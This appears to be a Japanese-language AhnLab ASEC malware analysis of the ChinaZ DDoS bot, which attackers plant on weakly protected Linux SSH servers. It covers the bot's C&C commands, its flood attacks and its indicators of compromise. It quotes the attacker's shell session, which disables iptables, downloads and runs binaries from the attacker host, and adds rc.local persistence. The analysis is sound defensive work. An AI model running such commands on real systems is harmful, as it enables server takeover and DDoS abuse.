AhnLab Security Emergency response Center (ASEC)では最近、不適切に管理されている Linux SSH サーバーを対象に ChinaZ DDoS Bot マルウェアがインストールされていることを確認した。ChinaZ グループは2014年頃から確認されている中国の攻撃グループの一つで、Windows および Linux システムを対象に、様々な DDoS Bot をインストールしている。[1] ChinaZ 攻撃グループが製作したことで知られている DDoS Bot マルウェアは、代表的なものに XorDDoS、AESDDos、BillGates、MrBlack などがあり、本記事では ChinaZ または ChinaZ DDoSClient と呼ばれる DDoS Bot を扱う。
1. Linux SSH サーバーを対象とした攻撃キャンペーン
一般ユーザーの主な作業環境であるデスクトップとは異なり、サーバーは主に特定のサービスを提供する役割を担っている。そのため、デスクトップ環境ではマルウェアが主に Web ブラウザを通して、もしくはメールの添付ファイルを通して実行され、攻撃者もまたマルウェアのインストールを誘導するため、正常なプログラムに偽装してマルウェアを配布していた。サーバー環境を対象にした攻撃者は、このような方式でマルウェアを配布するのに限界があるため、他の方式を使用する。代表的には、不適切に管理されていたり、最新バージョンをパッチしていない脆弱性攻撃に脆弱なサービスが対象になる。
不適切に管理されているサービスには、単純な形態のアカウント情報を使用していることによって、辞書攻撃に脆弱なタイプがある。例えば、Windows OS を対象にした主な攻撃ベクトルの一つである Remote Desktop Protocol(RDP) および MS-SQL サービスが代表的である。Linux サーバー環境では主に Secure Shell(SSH) サービスが攻撃対象になり、古い Linux サーバーもしくは組みこみ Linux OS がインストールされた IoT 環境では Telnet サービスが辞書攻撃の対象になることもある。
今回ブログで取り扱う ChinaZ 攻撃グループの ChinaZ DDosClient は、攻撃者がスキャナーおよび SSH BruteForce マルウェアを利用して獲得したアカウント情報を利用し、インストールされたものと推定される。攻撃者は22番ポート、すなわち SSH サービスが動作するシステムをスキャニングした後、SSH サービスが動作しているシステムを探して、その後は頻繁に使用される SSH アカウント情報リストを利用し、辞書攻撃を行っていた。
User | Password | 攻撃対象 |
---|---|---|
root | – | 45.113.163[.]219 |
ChinaZ をインストールした攻撃者は、ログイン後に以下のようなコマンドを利用して、ChinaZ を Linux サーバーにインストールしていた。SSH サーバーにログインした攻撃者のアドレスと ChinaZ をダウンロードするアドレスは同じである。
# service iptables stop
# wget hxxp://45.113.163[.]219/linux64
# nohup /root/linux64 > /dev/null 2>&1 &
# chmod 777 linux64
# ./linux64
# chmod 0755 /root/linux64
# nohup /root/linux64 > /dev/null 2>&1 &
# chmod 0777 linux64
# chmod u+x linux64
# ./linux64 &
# chmod u+x linux64
# ./linux64 &
# cd /tmp
# service iptables stop
# wget hxxp://45.113.163[.]219/linux32
# nohup /root/linux32 > /dev/null 2>&1 &
# chmod 777 linux32
# ./164
# chmod 0755 /root/linux32
# nohup /root/linux32 > /dev/null 2>&1 &
# chmod 0777 linux32
# chmod u+x linux32
# ./linux32 &
# chmod u+x dos6cc4
# ./linux32 &
# cd /tmp
# echo “cd /root/”>>/etc/rc.local
# echo “./linux64&”>>/etc/rc.local
# echo “./linux32&”>>/etc/rc.local
# echo “/etc/init.d/iptables stop”>>/etc/rc.local
攻撃者は iptables、すなわちファイアウォールを無効化し、wget を利用して x86 および x64 アーキテクチャでビルドされた ChinaZ DDoSClient をインストールしていた。攻撃者は root アカウントでログインして、ダウンロードしたマルウェアは /root パスにインストールしていた。その後インストールした ChinaZ を実行し、これが維持されるように rc.local に登録して、再起動後も動作するように設定していた。
2. ChinaZ DDoSClient (Linux)
ChinaZ DDoSClient はアーキテクチャによって「Linux32」もしくは「Linux64」という名前でインストールされていた。ChinaZ はバイナリにデバッグ情報が含まれているため、製作者が設定した様々な情報を獲得することができ、さらにはソースコードも公開されている一種のオープンソースマルウェアである。
ChinaZ は実行すると、「declient」という名前で偽装し、prctl()関数の引数で「PR_SET_NAME」を「declient」という名前に設定する方式が使用される。これにより「pstree」コマンドや「/cat /proc/[pid]/comm」のようなコマンドで、現在実行中のプロセスを検査すると「declient」というプロセスが確認される。

コードに見られる「MK64_SecurtDoor」文字列は、攻撃者が指定した Logo 文字列で、以前から確認されている文字列の一つである。[2] このマルウェアは x86 アーキテクチャ基準であり、x64 アーキテクチャバイナリでは「ceS_46KM」という名前が Logo 文字列として使用される。

ChinaZ は C&C サーバーのアドレスをエンコードして持っており、CSocketManager::Initalize() メソッドで簡単な復号化ルーティンを通して C&C サーバーのアドレスを求めることができる。

実質的な機能は CSocketManager::Woring() メソッドが担っているが、まず CSocketManager::GetOnlineInfo() メソッドで感染システムの基本的な情報を収集した後、C&C サーバーに伝達する。公開されたソースコードによると、伝達する情報は LOGININFO 構造体であり、以下のような構造を持っている。
Offset | Size | 説明 |
---|---|---|
0x0000 | 0x0040 | OS バージョン情報(OS 名、リリース情報) |
0x0040 | 0x0020 | バージョン情報(G2-F5) |
0x0060 | 0x0020 | CPU 情報(プロセス数、性能) |
0x0080 | 0x0020 | RAM サイズ |
0x00A0 | 0x0020 | ネットワークカード情報 |
0x00C0 | 0x0010 | DDoS 攻撃帯域幅情報 |
0x00D0 | 0x0010 | CPU 使用量 |
0x00E0 | 0x0020 | 攻撃者の Mark 文字列(「UST」) |
0x0100 | 0x0004 | DDoS 攻撃プラグ(0:攻撃中、1:攻撃中止) |
0x0104 | 0x0004 | 現在進行している DDoS 攻撃回数 |
0x0108 | 0x0080 | 現在実行中の DDoS 攻撃状態 |
感染システムで情報を収集するプロセスは以下のようなルーティンによって成り立っている。単純に uname() のような関数を利用する方法から、「cat」や「ethtool」コマンドを利用するなど、情報収集のため、様々な方法を使用するのが特徴である。

収集した情報は CSocketManager::SendOnlineInfo() メソッドを通して C&C サーバーに伝達され、その後 C&C サーバーから伝達されたコマンドを通して不正な振る舞いを実行することができる。

ChinaZ は攻撃者のコマンドを受け取って、悪意のある振る舞いを実行することができる。以下は実行可能なコマンドリストである。
コマンド番号 | コマンド名 | 説明 |
---|---|---|
0x0008 | COMMAND_RUN_CMD | コマンド実行 |
0x0009 | COMMAND_DNS_SET | DNS サーバー設定 |
0x0010 | COMMAND_DDOS_ATTACK | DDoS 攻撃 |
0x0011 | COMMAND_DDOS_STOP | DDoS 攻撃停止 |
0x0012 | COMMAND_DDOS_SET | 攻撃対象 IP アドレス帯域設定 |
0x0014 | TOKEN_HEARTBEAT | HeartBeat |
0x0016 | TOKEN_LOGO_CHANGE | Logo 変更 |
0x0017 | TOKEN_SET_CPU_LIMIT | CPU 限界設定 |
0x0018 | TOKEN_SET_ONLINE_ADDR | C&C サーバーアドレス変更 |

DDoS Bot である ChinaZ は、サポートする大半のコマンドが DdoS 攻撃であることが特徴である。サポートする DDoS 攻撃には SYN、UDP、ICMP、DNS Flood 攻撃がある。
コマンド番号 | コマンド名 | 説明 |
---|---|---|
0x0001 | ATTACK_SYN | SYN Flood |
0x0002 | ATTACK_UDP | UDP Flood |
0x0003 | ATTACK_ICMP | ICMP Flood |
0x0004 | ATTACK_DNS | DNS Flood |
3. ChinaZ DDoSClient (Windows)
Linux SSH サーバーを対象とした攻撃では確認されていないが、VirusTotal を通して Windows システムを対象とする PE フォーマットの ChinaZ も確認された。Linux バージョンと実質的にはほとんど同じであるため、ここではその差について主に言及する。
Windows バージョンの ChinaZ は Linux バージョンと同じく「Declient」という名前で偽装している。そのため、%SystemRoot% パスに「Declient.exe」という名前で自身をコピーし、Run キーに登録して、再起動後も動作するようにしていた。

C&C サーバーのアドレスと、一定時間以降に動作する2番目の C&C サーバー、すなわち Backdoor C&C アドレスも、従来の Linux バージョンと同じである。

感染システムから収集する情報が保存される LOGININFO 構造体は、Linux バージョンと同じであるが、いくつかの項目は使用されない。Mark 文字列は Linux バージョンと同じく「UST」が使用されていた。
Offset | Size | 説明 |
---|---|---|
0x0000 | 0x0040 | OS バージョン情報 |
0x0040 | 0x0020 | 使用しない |
0x0060 | 0x0020 | CPU 性能情報 |
0x0080 | 0x0020 | 使用しない |
0x00A0 | 0x0020 | 使用しない |
0x00C0 | 0x0010 | DDoS 攻撃帯域幅情報 |
0x00D0 | 0x0010 | CPU 使用量 |
0x00E0 | 0x0020 | 攻撃者の Mark 文字列(「UST」) |
0x0100 | 0x0004 | DDoS 攻撃プラグ(0:攻撃中、1:攻撃中止) |
0x0104 | 0x0004 | 現在進行している DDoS 攻撃回数 |
0x0108 | 0x0080 | 現在実行中の DDoS 攻撃状態 |

サポートするコマンドの場合は実質的に同じだが、Linux バージョンと比較して数が少なくなっている。DDoS 攻撃コマンドは SYN、UDP、ICMP、DNS Flood の4つすべてが同じである。
コマンド番号 | コマンド名 | 説明 |
---|---|---|
0x0008 | COMMAND_RUN_CMD | コマンド実行 |
0x0009 | COMMAND_DNS_SET | DNS サーバー設定 |
0x0010 | COMMAND_DDOS_ATTACK | DDoS 攻撃 |
0x0011 | COMMAND_DDOS_STOP | DDoS 攻撃停止 |
0x0014 | TOKEN_HEARTBEAT | HeartBeat |
4. 結論
最近、不適切に管理されている Linux SSH サーバーを対象に、攻撃者が ChinaZ DDoS Bot マルウェアをインストールしている。このようなタイプの攻撃は以前から行われ続けており、最近までも多数の攻撃が確認されている。ChinaZ DDoS Bot がインストールされる場合、Linux サーバーは攻撃者のコマンドを受けて、特定対象について DDoS 攻撃を実行する DDoS Bot として使用される場合があり、それ以外にも追加のマルウェアがインストールされたり、他の攻撃に使用されたりもする。
そのため、管理者はアカウントのパスワードを推測が困難な形式で設定し、定期的にパスワードを変更することで、総当たり攻撃や辞書攻撃から Linux サーバーを保護しなければならず、セキュリティパッチを最新にして脆弱性攻撃を防止しなければならない。また、外部に開放されていてアクセスが可能なサーバーに関してはファイアウォールのようなセキュリティ製品を利用し、外部の攻撃者からのアクセスを統制しなければならない。最後に、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。
ファイル検知
– Linux/Ddos.1571389 (2015.05.14)
– Linux/Ddos.1806356 (2015.05.14)
– Trojan/Win32.Agent.R192331 (2016.12.25.08)
IOC
MD5
– c69f5eb555cc10f050375353c205d5fa : ChinaZ DDoSClient – Linux x86 (linux32)
– c9eb0815129c135db5bbb8ac79686b9a : ChinaZ DDoSClient – Linux x64 (linux64)
– 2ec7348e6b6b32d50a01c3ffe480ef70 : ChinaZ DDoSClient – Windows x86 (win32)
ダウンロードアドレス
– hxxp://45.113.163[.]219/linux32
– hxxp://45.113.163[.]219/linux64
– hxxp://45.113.163[.]219/win32
C&C アドレス
– 45.113.163[.]219:29134
– www[.]911ddos[.]com:10912
関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
Categories:マルウェアの情報